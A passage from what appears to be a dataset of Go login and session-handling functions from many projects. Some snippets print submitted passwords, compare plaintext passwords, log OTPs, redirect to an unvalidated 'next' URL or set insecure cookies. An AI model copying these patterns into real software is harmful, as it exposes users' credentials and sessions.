{\n\t\tlog.Printf(\"Error saving session: %v\", err)\n\t}\n\tjson.NewEncoder(w).Encode(m)\n\t// w.Write([]byte(memberID)) // Alternative to fprintf\n}","func LoginHandler(w http.ResponseWriter, r *http.Request) {\n\t// Initialize the fields that we need in the custom struct.\n\ttype Context struct {\n\t\tErr string\n\t\tErrExists bool\n\t\tOTPRequired bool\n\t\tUsername string\n\t\tPassword string\n\t}\n\t// Call the Context struct.\n\tc := Context{}\n\n\t// If the request method is POST\n\tif r.Method == \"POST\" {\n\t\t// This is a login request from the user.\n\t\tusername := r.PostFormValue(\"username\")\n\t\tusername = strings.TrimSpace(strings.ToLower(username))\n\t\tpassword := r.PostFormValue(\"password\")\n\t\totp := r.PostFormValue(\"otp\")\n\n\t\t// Login2FA login using username, password and otp for users with OTPRequired = true.\n\t\tsession := uadmin.Login2FA(r, username, password, otp)\n\n\t\t// Check whether the session returned is nil or the user is not active.\n\t\tif session == nil || !session.User.Active {\n\t\t\t/* Assign the login validation here that will be used for UI displaying. ErrExists and\n\t\t\tErr fields are coming from the Context struct. */\n\t\t\tc.ErrExists = true\n\t\t\tc.Err = \"Invalid username/password or inactive user\"\n\n\t\t} else {\n\t\t\t// If the user has OTPRequired enabled, it will print the username and OTP in the terminal.\n\t\t\tif session.PendingOTP {\n\t\t\t\tuadmin.Trail(uadmin.INFO, \"User: %s OTP: %s\", session.User.Username, session.User.GetOTP())\n\t\t\t}\n\n\t\t\t/* As long as the username and password is valid, it will create a session cookie in the\n\t\t\tbrowser. */\n\t\t\tcookie, _ := r.Cookie(\"session\")\n\t\t\tif cookie == nil {\n\t\t\t\tcookie = &http.Cookie{}\n\t\t\t}\n\t\t\tcookie.Name = \"session\"\n\t\t\tcookie.Value = session.Key\n\t\t\tcookie.Path = \"/\"\n\t\t\tcookie.SameSite = http.SameSiteStrictMode\n\t\t\thttp.SetCookie(w, cookie)\n\n\t\t\t// Check for OTP\n\t\t\tif session.PendingOTP {\n\t\t\t\t/* After the user enters a valid username and password in the first part of the form, these\n\t\t\t\tvalues will be used on the second part in the UI where the OTP input field will be\n\t\t\t\tdisplayed afterwards. */\n\t\t\t\tc.Username = username\n\t\t\t\tc.Password = password\n\t\t\t\tc.OTPRequired = true\n\n\t\t\t} else {\n\t\t\t\t// If the next value is empty, redirect the page that omits the logout keyword in the last part.\n\t\t\t\tif r.URL.Query().Get(\"next\") == \"\" {\n\t\t\t\t\thttp.Redirect(w, r, strings.TrimSuffix(r.RequestURI, \"logout\"), http.StatusSeeOther)\n\t\t\t\t\treturn\n\t\t\t\t}\n\n\t\t\t\t// Redirect to the page depending on the value of the next.\n\t\t\t\thttp.Redirect(w, r, r.URL.Query().Get(\"next\"), http.StatusSeeOther)\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t}\n\n\t// Render the login filepath and pass the context data object to the HTML file.\n\tuadmin.RenderHTML(w, r, \"templates/login.html\", c)\n}","func (h *auth) Login(c echo.Context) error {\n\t// Filter params\n\tvar params service.LoginParams\n\tif err := c.Bind(&params); err != nil {\n\t\tlog.Println(\"Could not get parameters:\", err)\n\t\treturn c.JSON(http.StatusBadRequest, sferror.New(\"Could not get credentials.\"))\n\t}\n\tparams.UserAgent = c.Request().UserAgent()\n\tparams.Session = currentSession(c)\n\n\tif params.Email == \"\" || params.Password == \"\" {\n\t\treturn c.JSON(http.StatusBadRequest, sferror.New(\"No email or password provided.\"))\n\t}\n\n\treturn h.login(c, params)\n\n}","func (cc *CommonController) Login() {\n\tprincipal := cc.GetString(\"principal\")\n\tpassword := cc.GetString(\"password\")\n\n\tuser, err := auth.Login(models.AuthModel{\n\t\tPrincipal: principal,\n\t\tPassword: password,\n\t})\n\tif err != nil {\n\t\tlog.Errorf(\"Error occurred in UserLogin: %v\", err)\n\t\tcc.CustomAbort(http.StatusUnauthorized, \"\")\n\t}\n\n\tif user == nil {\n\t\tcc.CustomAbort(http.StatusUnauthorized, \"\")\n\t}\n\n\tcc.SetSession(\"userId\", user.UserID)\n\tcc.SetSession(\"username\", user.Username)\n}","func (a Admin) Login(user,passwd string) (error, bool) {\n if user == a.Name && passwd == a.Pass {\n return nil, true\n } else {\n return errors.New(\"Wrong login or password\"), false\n }\n}","func UserLogin(w http.ResponseWriter, r *http.Request) {\n\t// 1. 解析body数据\n\tuser := User{}\n\tok := utils.LoadRequestBody(r, \"user login\", &user)\n\tif !ok {\n\t\tutils.FailureResponse(&w, \"登录失败\", \"\")\n\t}\n\t// 2. 从db中取出用户信息\n\texistedUser := User{}\n\terr := Db[\"users\"].Find(bson.M{\"name\": user.Name}).One(&existedUser)\n\tif err != nil {\n\t\tLog.Error(\"user login failed: user not found, \", err)\n\t\tutils.FailureResponse(&w, \"登录失败,用户不存在\", \"\")\n\t\treturn\n\t}\n\t// 3. 验证密码是否正确\n\terr = bcrypt.CompareHashAndPassword([]byte(existedUser.Password), []byte(user.Password))\n\tif err != nil {\n\t\tLog.Error(\"user login failed: password is incorrect, \")\n\t\tutils.FailureResponse(&w, \"登录失败,密码错误\", \"\")\n\t\treturn\n\t}\n\t// 4. user login successfully, save user into session\n\tsession, _ := SessionGet(w, r, \"user\")\n\tsession[\"user\"] = existedUser\n\t_ = SessionSet(w, r, \"user\", session)\n\t// 5. response successfully\n\tLog.Noticef(\"user %v login successfully\", existedUser.Name)\n\tutils.SuccessResponse(&w, \"登录成功\", \"\")\n}","func Login(res http.ResponseWriter, req *http.Request) (bool, string) {\n\tname := req.FormValue(NameParameter)\n\tname = html.EscapeString(name)\n\tlog.Debugf(\"Log in user. Name: %s\", name)\n\tif name != \"\" {\n\t\tuuid := generateRandomUUID()\n\t\tsuccess := authClient.SetRequest(uuid, name)\n\t\tif success {\n\t\t\tcookiesManager.SetCookieValue(res, CookieName, uuid)\n\t\t}\n\t\t// successfully loged in\n\t\tif success {\n\t\t\treturn success, \"\"\n\t\t} else {\n\t\t\treturn success, \"authServerFail\"\n\t\t}\n\n\t}\n\n\treturn false, \"noName\"\n}","func Login() http.HandlerFunc {\n\treturn func(w http.ResponseWriter, r *http.Request) {\n\n\t\tvar user userLogin\n\t\t// Try to decode the request body into the struct. If there is an error,\n\t\t// respond to the client with the error message and a 400 status code.\n\t\terr := json.NewDecoder(r.Body).Decode(&user)\n\t\tif err != nil {\n\t\t\thttp.Error(w, err.Error(), http.StatusBadRequest)\n\t\t\treturn\n\t\t}\n\t\t// when user credentials are identified we can set token and send cookie with jwt\n\t\t// boolean, User returned\n\t\tfmt.Println(\"User sent password: \" + user.UserName + \" \" + user.Password)\n\t\tuserCred, isValid := ValidUserPassword(user.UserName, user.Password)\n\t\tif isValid {\n\t\t\tlog.Info(\"User valid login \" + user.UserName)\n\t\t\tfmt.Println(userCred.UserID)\n\t\t\thttp.SetCookie(w, jwt.PrepareCookie(jwt.CreateToken(w, userCred), \"jwt\"))\n\t\t} else {\n\t\t\tw.WriteHeader(http.StatusUnprocessableEntity) // send a 422 -- user they sent does not exist\n\t\t\tutil.Response(w, util.Message(\"422\", \"Unprocessable Entity - check what you're sending - user might not exist\"))\n\t\t\t//w.Write([]byte(\"422 - Unprocessable Entity - check what you're sending - user might not exist\"))\n\t\t}\n\t}\n}","func (a SuperAdmin) Login(user, passwd string) (error, bool) {\n if user == a.Name && passwd == a.Pass {\n return nil, true\n } else {\n return errors.New(\"Wrong login or password\"), false\n }\n}","func IsLogIn(h httprouter.Handle) httprouter.Handle {\n\treturn func(w http.ResponseWriter, r *http.Request, ps httprouter.Params) {\n\n\t\tcookie, err := r.Cookie(\"kRtrima\") //Grab the cookie from the header\n\t\tif err != nil {\n\t\t\tswitch err {\n\t\t\tcase http.ErrNoCookie:\n\t\t\t\tLogger.Println(\"No Cookie was Found with Name kRtrima\")\n\t\t\t\th(w, r, ps)\n\t\t\t\treturn\n\t\t\tdefault:\n\t\t\t\tLogger.Println(\"No Cookie was Found with Name kRtrima\")\n\t\t\t\th(w, r, ps)\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\n\t\tLogger.Println(\"Cookie was Found with Name kRtrima\")\n\n\t\t// Create a BSON ObjectID by passing string to ObjectIDFromHex() method\n\t\tdocID, err := primitive.ObjectIDFromHex(cookie.Value)\n\t\tif err != nil {\n\t\t\tLogger.Printf(\"Cannot Convert %T type to object id\", cookie.Value)\n\t\t\tLogger.Println(err)\n\t\t\th(w, r, ps)\n\t\t\treturn\n\t\t}\n\n\t\tvar SP m.Session\n\t\tif err = m.Sessions.Find(\"_id\", docID, &SP); err != nil {\n\t\t\tLogger.Println(\"Cannot found a valid User Session!!\")\n\t\t\th(w, r, ps)\n\t\t\treturn\n\t\t\t//session is missing, returns with error code 403 Unauthorized\n\t\t}\n\n\t\tLogger.Println(\"Valid User Session was Found!!\")\n\n\t\tvar UP m.LogInUser\n\n\t\terr = m.Users.Find(\"salt\", SP.Salt, &UP)\n\t\tif err != nil {\n\t\t\tLogger.Println(\"Cannot Find user with salt\")\n\t\t\th(w, r, ps)\n\t\t\treturn\n\t\t}\n\n\t\tvar LIP m.LogInUser\n\n\t\terr = m.GetLogInUser(\"User\", &LIP, r)\n\t\tif err != nil {\n\t\t\tm.AddToHeader(\"User\", UP, r)\n\t\t\th(w, r, ps)\n\t\t\treturn\n\t\t} else if UP.Email != LIP.Email {\n\t\t\t//remove the user ID from the session\n\t\t\tr.Header.Del(\"User\")\n\t\t\tm.AddToHeader(\"User\", UP, r)\n\t\t\th(w, r, ps)\n\t\t\treturn\n\t\t}\n\n\t\th(w, r, ps)\n\t}\n}","func (user User) IsValidLogin(db *gorm.DB) (bool, string) {\n\ttempUser := User{}\n\tdb.Where(\"user_name=?\", user.UserName).First(&tempUser)\n\n\tif tempUser.Password == user.Password && user.Password != \"\" {\n\t\t//fmt.Println(tempUser.StartTime)\n\t\tif tempUser.StartTime == \"\" {\n\t\t\t//first login\n\t\t\tcurrentTime := fmt.Sprintf(\"%v\", time.Now().UnixNano()/1000000)\n\t\t\ttempUser.StartTime = currentTime\n\t\t\tfmt.Println(\"setting time\", user.UserName, currentTime)\n\t\t\tdb.Save(&tempUser)\n\t\t}\n\t\treturn true, \"ok\"\n\t}\n\treturn false, \"check credentials\"\n}","func performLogin(c *gin.Context) {\n\t/*\n\t\tGet the values from POST objects\n\t*/\n\tusername := c.PostForm(\"username\")\n\tpassword := c.PostForm(\"password\")\n\n\t/*\n\t\tChecks the username and password variables valuesare not empty\n\t*/\n\tif len(username) == 0 || len(password) == 0 {\n\t\terr = errors.New(\"missing password and/or email\")\n\t\treturn\n\t}\n\n\t/*\n\t\tCall the actual function which checks and return error or information about user\n\t\tBased on status we are redirecting to necessary pages\n\t\tIf error then redirecting to login page again with error messages\n\t\tIf valid then redirecting to userprofile page which display user information.\n\t*/\n\tUserInfo, err := getUser(username, password)\n\tif err != nil {\n\t\trender(c, gin.H{\n\t\t\t\"title\": \"Login\",\n\t\t\t\"ErrorMessage\": \"Login Failed\",\n\t\t}, \"login.html\")\n\t} else {\n\t\trender(c, gin.H{\n\t\t\t\"title\": \"User Profile\",\n\t\t\t\"UserInfo\": UserInfo,\n\t\t}, \"userprofile.html\")\n\t}\n}","func (a Authentic) loginHandler(c buffalo.Context) error {\n\tc.Request().ParseForm()\n\n\t//TODO: schema ?\n\tloginData := struct {\n\t\tUsername string\n\t\tPassword string\n\t}{}\n\n\tc.Bind(&loginData)\n\n\tu, err := a.provider.FindByUsername(loginData.Username)\n\tif err != nil || ValidatePassword(loginData.Password, u) == false {\n\t\tc.Flash().Add(\"danger\", \"Invalid Username or Password\")\n\t\treturn c.Redirect(http.StatusSeeOther, a.Config.LoginPath)\n\t}\n\n\tc.Session().Set(SessionField, u.GetID())\n\tc.Session().Save()\n\n\treturn c.Redirect(http.StatusSeeOther, a.Config.AfterLoginPath)\n}","func (u *User) login(ctx *clevergo.Context) error {\n\tuser, _ := u.User(ctx)\n\tif !user.IsGuest() {\n\t\tctx.Redirect(\"/\", http.StatusFound)\n\t\treturn nil\n\t}\n\n\tif ctx.IsPost() {\n\t\tform := forms.NewLogin(u.DB(), user, u.captchaManager)\n\t\tif _, err := form.Handle(ctx); err != nil {\n\t\t\treturn jsend.Error(ctx.Response, err.Error())\n\t\t}\n\n\t\treturn jsend.Success(ctx.Response, nil)\n\t}\n\n\treturn ctx.Render(http.StatusOK, \"user/login.tmpl\", nil)\n}","func HandleSignIn(res http.ResponseWriter, req *http.Request) {\n\tvalidate := new(validation.Validate)\n\tvar requestError errors.BadRequestError = \"Invalid credentials\"\n\tschema := models.UserSchema{}\n\tuser := db.Client.Database(\"user\").Collection(\"User\")\n\tvalidate.ValidateEmail(req.FormValue(\"email\"), \"Email must be valid\")\n\tvalidate.IsPassword(req.FormValue(\"password\"), \"You must supply a password\")\n\n\tif validate.ValidationResult != nil {\n\t\terrors.HTTPError(res, validate, http.StatusBadRequest)\n\t\treturn\n\t}\n\n\terr := user.FindOne(context.Background(), bson.D{{Key: \"email\", Value: req.FormValue(\"email\")}}).Decode(&schema)\n\n\tif err != nil {\n\t\tfmt.Println(\"SignError: \", err)\n\t\terrors.HTTPError(res, requestError, http.StatusBadRequest)\n\t} else {\n\t\tif answer := schema.CompareHashAndPassword(schema.Password, []byte(req.FormValue(\"password\"))); answer == false {\n\t\t\terrors.HTTPError(res, requestError, http.StatusBadRequest)\n\t\t\treturn\n\t\t}\n\t\tuserJwt := jwt.MapClaims{\n\t\t\t\"id\": schema.ID,\n\t\t\t\"email\": req.FormValue(\"email\"),\n\t\t\t\"iat\": time.Now().Unix(),\n\t\t}\n\t\ttoken := jwt.NewWithClaims(jwt.SigningMethodHS256, userJwt)\n\t\ttokenString, err := token.SignedString([]byte(os.Getenv(\"JWT_KEY\")))\n\t\tif err != nil {\n\t\t\tlog.Println(\"Token Error: \", err)\n\t\t}\n\t\thttp.SetCookie(res, &http.Cookie{\n\t\t\tName: \"auth-session\",\n\t\t\tValue: tokenString,\n\t\t})\n\t\tdata, _ := json.Marshal(models.UserSchema{ID: schema.ID, Email: schema.Email})\n\t\tfmt.Fprint(res, string(data))\n\t}\n\n}","func DoSignin(w http.ResponseWriter, r *http.Request) {\n\n\tvar id int\n\n\tif r.Method == \"POST\" {\n\t\t// Handles login when it is hit as a post request\n\t\tr.ParseForm()\n\t\tstmt, err := db.Prepare(\"select id from users where username=? and password=?\")\n\t\tres := stmt.QueryRow(r.FormValue(\"username\"), r.FormValue(\"password\"))\n\t\terr = res.Scan(&id)\n\n\t\tif err == nil {\n\t\t\tsess, _ := globalSessions.SessionStart(w, r)\n\t\t\tdefer sess.SessionRelease(w)\n\t\t\tsetUserCookies(w, id, sess.SessionID())\n\t\t\t_ = sess.Set(\"user_id\", id)\n\t\t\t_ = sess.Set(\"username\", r.FormValue(\"username\"))\n\t\t\tif r.FormValue(\"remember-me\") == \"on\" {\n\t\t\t\tsaveSession(w, r, sess.SessionID(), id)\n\n\t\t\t}\n\t\t\taddRemoteAddress(r, id)\n\t\t\thttp.Redirect(w, r, \"/\", 302)\n\t\t} else {\n\t\t\tlog.Println(\"Database connection failed: \", err)\n\t\t}\n\t} else {\n\t\tanonsess, _ := anonSessions.SessionStart(w, r)\n\t\tdefer anonsess.SessionRelease(w)\n\t\t// Handles auto login when it is hit as a GET request\n\t\tsessionIdCookie, err := r.Cookie(\"userSession_id\")\n\t\tif err == nil {\n\t\t\tstmt, err := db.Prepare(\"select id, username from users where session_id=?\")\n\t\t\tres := stmt.QueryRow(sessionIdCookie.Value)\n\t\t\tvar username string\n\t\t\terr = res.Scan(&id, &username)\n\t\t\tif err == nil {\n\t\t\t\tif checkRemoteAddress(r, id) {\n\t\t\t\t\tsess, _ := globalSessions.SessionStart(w, r)\n\t\t\t\t\tdefer sess.SessionRelease(w)\n\t\t\t\t\terr = sess.Set(\"user_id\", id)\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\tlog.Println(err)\n\t\t\t\t\t}\n\t\t\t\t\t_ = sess.Set(\"username\", username)\n\t\t\t\t\tsaveSession(w, r, sess.SessionID(), id)\n\t\t\t\t\tsetUserCookies(w, id, sess.SessionID())\n\t\t\t\t\thttp.Redirect(w, r, \"/\", 302)\n\t\t\t\t} else {\n\t\t\t\t\thttp.Redirect(w, r, \"/newAddress\", 302)\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\thttp.Redirect(w, r, \"/userNotFound\", 302)\n\t\t\t}\n\t\t} else {\n\t\t\thttp.Redirect(w, r, \"/\", 302)\n\t\t}\n\t}\n}","func Login(ctx *gin.Context) {\n\n\tDB := common.GetDB()\n\n\t//获取数据\n\ttelephone := ctx.PostForm(\"tel\")\n\tpassword := ctx.PostForm(\"password\")\n\n\t//判断数据\n\tif len(telephone) != 11 {\n\t\tresponse.Response(ctx, http.StatusUnprocessableEntity, 4221, gin.H{}, \"手机号必须为11位\")\n\t\treturn\n\t}\n\n\tif len(password) < 6 {\n\t\tresponse.Response(ctx, http.StatusUnprocessableEntity, 4222, gin.H{}, \"密码需大于6位\")\n\n\t\treturn\n\t}\n\n\t//处理数据\n\n\tvar user model.User\n\tDB.First(&user, \"telephone = ?\", telephone)\n\tif user.ID == 0 {\n\t\tresponse.Response(ctx, http.StatusUnprocessableEntity, 4225, gin.H{}, \"用户不存在\")\n\n\t\treturn\n\t}\n\n\tif err := bcrypt.CompareHashAndPassword([]byte(user.Password), []byte(password)); err != nil {\n\t\tresponse.Response(ctx, http.StatusUnprocessableEntity, 4226, gin.H{}, \"密码错误\")\n\t\tfmt.Println(err)\n\t\treturn\n\t}\n\n\ttoken, err := common.ReleaseToken(user)\n\n\tif err != nil {\n\t\tresponse.Response(ctx, http.StatusInternalServerError, 5001, gin.H{}, \"密码解析错误\")\n\t\tlog.Fatal(err)\n\t\treturn\n\t}\n\n\tresponse.Success(ctx, gin.H{\"token\": token}, \"ok\")\n\n}","func (s *SessionManager) ValidateSession(w http.ResponseWriter, r *http.Request) (*SessionInfo, error) {\n\tsession, err := s.Store.Get(r, \"session\")\n\tif err != nil {\n\t\terr = errors.Errorf(errors.CodeUnauthorized, \"Previous session no longer valid: %s\", err)\n\t\tlog.Println(err)\n\t\ts.DeleteSession(w, r)\n\t\tutil.ErrorHandler(err, w)\n\t\treturn nil, err\n\t}\n\tif session.IsNew {\n\t\terr = errors.Errorf(errors.CodeUnauthorized, \"No valid session\")\n\t\tlog.Println(err)\n\t\tutil.ErrorHandler(err, w)\n\t\treturn nil, err\n\t}\n\tvar si SessionInfo\n\tvar exists bool\n\tusername, exists := session.Values[\"username\"]\n\tif !exists || username.(string) == \"\" {\n\t\terr = errors.Errorf(errors.CodeUnauthorized, \"Existing session invalid: (username: %s)\", si.Username)\n\t\tlog.Println(err)\n\t\ts.DeleteSession(w, r)\n\t\tutil.ErrorHandler(err, w)\n\t\treturn nil, err\n\t}\n\tsi.Username = username.(string)\n\tuserID, exists := session.Values[\"user_id\"]\n\tif !exists || userID == nil || userID.(string) == \"\" {\n\t\terr = errors.Errorf(errors.CodeUnauthorized, \"Existing session invalid: (id: %s)\", si.UserID)\n\t\tlog.Println(err)\n\t\ts.DeleteSession(w, r)\n\t\tutil.ErrorHandler(err, w)\n\t\treturn nil, err\n\t}\n\tsi.UserID = userID.(string)\n\treturn &si, nil\n}","func (app *Application) LoginHandler(w http.ResponseWriter, r *http.Request) {\n\tvar data map[string]interface{}\n\tdata = make(map[string]interface{})\n\tfmt.Println(\"login.html\")\n\tif r.FormValue(\"submitted\") == \"true\" {\n\t\tuname := r.FormValue(\"username\")\n\t\tpword := r.FormValue(\"password\")\n\t\torg := r.FormValue(\"org\")\n\t\tprintln(uname, pword, org)\n\t\t//according uname, comparing pword with map[uname]\n\t\tfor _, v := range webutil.Orgnization[org] {\n\t\t\tfmt.Println(\"org user\", v.UserName)\n\t\t\tif v.UserName == uname {\n\t\t\t\tif v.Secret == pword {\n\t\t\t\t\twebutil.MySession.SetSession(uname, org, w)\n\t\t\t\t\thttp.Redirect(w, r, \"./home.html\", 302)\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t}\n\n\t\t}\n\t\t//login failed redirect to login page and show failed\n\t\tdata[\"LoginFailed\"] = true\n\t\tloginTemplate(w, r, \"login.html\", data)\n\t\treturn\n\t}\n\tloginTemplate(w, r, \"login.html\", data)\n}","func HandleLogin(w http.ResponseWriter, r *http.Request) {\n\terr := r.ParseForm()\n\tif err != nil {\n\t\tServeHandleIncorrect(w, r)\n\t\treturn\n\t}\n\tvalues := LoginFormValues{}\n\tdecoder := schema.NewDecoder()\n\terr = decoder.Decode(&values, r.PostForm)\n\tif err != nil {\n\t\tServeInternalServerError(w, r)\n\t\treturn\n\t}\n\n\tacc, err := data.GetAccountByHandle(values.Handle)\n\tif err == mgo.ErrNotFound {\n\t\tServeHandleIncorrect(w, r)\n\t\treturn\n\t}\n\tif err != nil {\n\t\tServeInternalServerError(w, r)\n\t\treturn\n\t}\n\tm := acc.Password.Match(values.Password)\n\tif !m {\n\t\thttp.Redirect(w, r, \"/login\", http.StatusSeeOther)\n\t\treturn\n\t}\n\n\tsess, err := store.Get(r, \"s\")\n\tif err != nil {\n\t\tServeInternalServerError(w, r)\n\t\treturn\n\t}\n\tsess.Values[\"accountID\"] = acc.ID.Hex()\n\tsess.Save(r, w)\n\thttp.Redirect(w, r, \"/tasks\", http.StatusSeeOther)\n}","func UserLogin(db *gorm.DB, w http.ResponseWriter, r *http.Request) {\n\tfmt.Println(\"login\")\n\n\t//t := r.URL.Query().Get(\"token\")\n\t//if t\n\n\tcredentials := model.Credentials{}\n\tdecoder := json.NewDecoder(r.Body)\n\tif err := decoder.Decode(&credentials); err != nil {\n\t\tRespondError(w, http.StatusUnauthorized, \"\")\n\t\treturn\n\t}\n\n\tuser := getUserByName(db, credentials.Username, w, r)\n\tif user == nil {\n\t\treturn\n\t}\n\n\tif err := bcrypt.CompareHashAndPassword([]byte(user.Password), []byte(credentials.Password)); err != nil {\n\t\tRespondError(w, http.StatusUnauthorized, \"\")\n\t\treturn\n\t}\n\n\ttoken, err := auth.GenerateToken(*user)\n\tif err != nil {\n\t\tlog.Println(err)\n\t\tRespondError(w, http.StatusInternalServerError, \"\")\n\t\treturn\n\t}\n\n\tlr := model.LoginResponse{\n\t\tName: user.Name,\n\t\tUsername: user.Username,\n\t\tUUID: user.UUID,\n\t\tToken: token,\n\t}\n\n\tRespondJSON(w, http.StatusOK, lr)\n}","func Login(w http.ResponseWriter, r *http.Request) {\n\tbody, err := ioutil.ReadAll(r.Body)\n\tif err != nil {\n\t\tutils.Error(w, http.StatusUnprocessableEntity, err)\n\t\treturn\n\t}\n\tvar user models.User\n\tif err = json.Unmarshal(body, &user); err != nil {\n\t\tutils.Error(w, http.StatusBadRequest, err)\n\t\treturn\n\t}\n\tdb, error := database.Connect()\n\tif error != nil {\n\t\tutils.Error(w, http.StatusInternalServerError, error)\n\t\treturn\n\t}\n\tdefer db.Close()\n\tuserRepo := repository.NewUserRepo(db)\n\tuserFound, err := userRepo.FindByEmail(user.Email)\n\tif error != nil {\n\t\tutils.Error(w, http.StatusInternalServerError, error)\n\t\treturn\n\t}\n\tif err = hash.Verify(user.Password, userFound.Password); err != nil {\n\t\tutils.Error(w, http.StatusUnauthorized, err)\n\t\treturn\n\t}\n\ttoken, err := authentication.Token(userFound.ID)\n\tif err != nil {\n\t\tutils.Error(w, http.StatusInternalServerError, err)\n\t\treturn\n\t}\n\tw.Write([]byte(token))\n}","func handleLogin(w http.ResponseWriter, r *http.Request) {\n\tw.Header().Set(\"Content-Type\", \"application/json\")\n\tparseFormErr := r.ParseForm()\n\n\tif parseFormErr != nil {\n\t\thttp.Error(w, \"Sent invalid form\", http.StatusBadRequest)\n\t} else {\n\t\temail := r.FormValue(\"email\")\n\t\tpassword := r.FormValue(\"password\")\n\n\t\tchannel := make(chan FindUserResponse)\n\t\tgo GetUserWithLogin(email, password, channel)\n\n\t\tres := <-channel\n\n\t\tif res.Err != nil {\n\t\t\tif res.Err.Error() == UserNotFound || res.Err.Error() == PasswordNotMatching {\n\t\t\t\thttp.Error(w, \"Provided email/password do not match\", http.StatusNotFound)\n\t\t\t} else {\n\t\t\t\tcommon.SendInternalServerError(w)\n\t\t\t}\n\t\t} else {\n\t\t\ttoken, expiry, jwtErr := middleware.CreateLoginToken(res.User)\n\n\t\t\tif jwtErr != nil {\n\t\t\t\tlog.Println(jwtErr)\n\t\t\t\tcommon.SendInternalServerError(w)\n\t\t\t} else {\n\t\t\t\tres.User.Password = nil\n\t\t\t\tjsonResponse, jsonErr := json.Marshal(res.User)\n\n\t\t\t\tif jsonErr != nil {\n\t\t\t\t\tlog.Println(jsonErr)\n\t\t\t\t\tcommon.SendInternalServerError(w)\n\t\t\t\t} else {\n\n\t\t\t\t\tjsonEncodedCookie := strings.ReplaceAll(string(jsonResponse), \"\\\"\", \"'\") // Have to do this to Set-Cookie in psuedo-JSON format.\n\n\t\t\t\t\t_, inProduction := os.LookupEnv(\"PRODUCTION\")\n\n\t\t\t\t\thttp.SetCookie(w, &http.Cookie{\n\t\t\t\t\t\tName: \"token\",\n\t\t\t\t\t\tValue: token,\n\t\t\t\t\t\tPath: \"/\",\n\t\t\t\t\t\tExpires: expiry,\n\t\t\t\t\t\tRawExpires: expiry.String(),\n\t\t\t\t\t\tSecure: inProduction,\n\t\t\t\t\t\tHttpOnly: true,\n\t\t\t\t\t\tSameSite: 0,\n\t\t\t\t\t})\n\n\t\t\t\t\thttp.SetCookie(w, &http.Cookie{\n\t\t\t\t\t\tName: \"userinfo\",\n\t\t\t\t\t\tValue: jsonEncodedCookie,\n\t\t\t\t\t\tPath: \"/\",\n\t\t\t\t\t\tExpires: expiry,\n\t\t\t\t\t\tRawExpires: expiry.String(),\n\t\t\t\t\t\tSecure: false,\n\t\t\t\t\t\tHttpOnly: false,\n\t\t\t\t\t\tSameSite: 0,\n\t\t\t\t\t})\n\n\t\t\t\t\tw.WriteHeader(http.StatusOK)\n\t\t\t\t\tw.Write(jsonResponse)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n}","func (router *router) SignIn(w http.ResponseWriter, r *http.Request) {\n\trouter.log.Println(\"request received at endpoint: SignIn\")\n\tuser := &schema.User{}\n\n\tr.ParseForm()\n\n\tif username := r.FormValue(\"username\"); username != \"\" {\n\t\tuser.User = username\n\t} else {\n\t\trouter.log.Println(\"username is empty redirecting signin page\")\n\t\tSignInPage(w, r)\n\t\treturn\n\t}\n\n\tif pwd := r.FormValue(\"password\"); pwd != \"\" {\n\t\tuser.Password = pwd\n\t} else {\n\t\trouter.log.Println(\"password is empty redirecting signin page\")\n\t\tSignInPage(w, r)\n\t\treturn\n\t}\n\n\tdbUser := router.database.User(user.User)\n\n\tif security.CheckPasswordHash(user.Password, dbUser.Password) {\n\t\trouter.log.Println(\"Sign In success for user \", user.User)\n\t\tsession.CreateSession(w, r)\n\t\trouter.Favorites(w, r)\n\t\treturn\n\t} else {\n\t\trouter.log.Println(\"Sign In failed for user \", user.User, \"redirecting signin page\")\n\t\tSignInPage(w, r)\n\t\treturn\n\t}\n\n}","func (am AuthManager) Login(userID string, ctx *Ctx) (session *Session, err error) {\n\t// create a new session value\n\tsessionValue := NewSessionID()\n\t// userID and sessionID are required\n\tsession = NewSession(userID, sessionValue)\n\tif am.SessionTimeoutProvider != nil {\n\t\tsession.ExpiresUTC = am.SessionTimeoutProvider(session)\n\t}\n\tsession.UserAgent = webutil.GetUserAgent(ctx.Request)\n\tsession.RemoteAddr = webutil.GetRemoteAddr(ctx.Request)\n\n\t// call the perist handler if one's been provided\n\tif am.PersistHandler != nil {\n\t\terr = am.PersistHandler(ctx.Context(), session)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\t// if we're in jwt mode, serialize the jwt.\n\tif am.SerializeSessionValueHandler != nil {\n\t\tsessionValue, err = am.SerializeSessionValueHandler(ctx.Context(), session)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\t// inject cookies into the response\n\tam.injectCookie(ctx, am.CookieNameOrDefault(), sessionValue, session.ExpiresUTC)\n\treturn session, nil\n}","func Login(authMod common.Authorizer, d models.UserStore, w http.ResponseWriter, r *http.Request) {\n\n\tdecoder := json.NewDecoder(r.Body)\n\tbody := models.User{}\n\tif err := decoder.Decode(&body); err != nil {\n\t\tcommon.DisplayAppError(w, err, \"Invalid user data\", http.StatusInternalServerError)\n\t\treturn\n\t}\n\n\tuser, err := d.FindUser(body)\n\tif err != nil {\n\t\tcommon.DisplayAppError(w, err, \"Invalid user data\", http.StatusInternalServerError)\n\t\treturn\n\t}\n\n\t// compare password\n\terr = bcrypt.CompareHashAndPassword(user.HashPassword, []byte(body.Password))\n\tif err != nil {\n\t\tcommon.DisplayAppError(w, err, \"Incorrect username and password\", http.StatusInternalServerError)\n\t\treturn\n\t}\n\n\t// generate a fresh JWT\n\tjwt, err := authMod.GenerateJWT(\n\t\tuser.UserName,\n\t\tuser.Id,\n\t)\n\tif err != nil {\n\t\tcommon.DisplayAppError(w, err, \"Please try again later\", http.StatusInternalServerError)\n\t\treturn\n\t}\n\treturnUser := CreatedUser{\n\t\tuser.UserName,\n\t\tuser.Email,\n\t\tjwt,\n\t}\n\n\tcommon.WriteJson(w, \"success\", returnUser, http.StatusOK)\n\n}","func Login(username string, password string) (user *User, token string, ok bool) {\n\n\n\t// SET UP A DATABASE CONNECTION\n\tuser, err := GetUserByUsername(username)\n\tif err != nil {\n\t\treturn nil, \"\", false\n\t}\n\n\t// CHECK THE PASSWORD OF THE USER\n\terr = bcrypt.CompareHashAndPassword([]byte(user.Hash), []byte(password))\n\tif err != nil {\n\t\tlog.Error(err)\n\t\treturn nil, \"\", 